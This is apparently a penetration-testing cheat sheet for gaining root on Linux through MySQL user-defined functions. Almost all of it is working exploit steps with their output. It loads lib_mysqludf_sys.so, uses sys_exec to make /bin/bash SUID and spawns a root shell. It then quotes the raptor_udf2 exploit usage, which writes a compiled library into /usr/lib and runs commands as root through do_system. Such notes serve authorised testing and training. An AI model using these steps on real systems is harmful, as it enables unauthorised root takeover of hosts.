Priv Esc with MySQL

Check if MySQL is running as root

ls -al /usr/lib/lib_mysqludf_sys.so

Auth to MySQL on localhost with empty pw

mysql -h localhost -u root -p

Escalate Privileges to root with MySQL

mysql> use mysql;

mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';

mysql> select sys_exec('chmod u+s /bin/bash');

bash-3.2$ ls -a /bin/bash

/bin/bash

bash-3.2$ ls -l /bin/bash

-rwsr-xr-x 1 root root 702160 2008-05-12 14:33 /bin/bash

bash-3.2$ bash -p

bash-3.2# whoami

root

* Usage:

* $ id

* uid=500(raptor) gid=500(raptor) groups=500(raptor)

* $ gcc -g -c raptor_udf2.c

* $ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

* $ mysql -u root -p

* Enter password:

* [...]

* mysql> use mysql;

* mysql> create table foo(line blob);

* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));

* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';

* mysql> create function do_system returns integer soname 'raptor_udf2.so';

* mysql> select * from mysql.func;

* +-----------+-----+----------------+----------+

* | name | ret | dl | type |

* +-----------+-----+----------------+----------+

* | do_system | 2 | raptor_udf2.so | function |

* +-----------+-----+----------------+----------+

* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');

* mysql> \! sh

* sh-2.05b$ cat /tmp/out

* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

* [...]

*

* E-DB Note: Keep an eye on:

*

*/

Last updated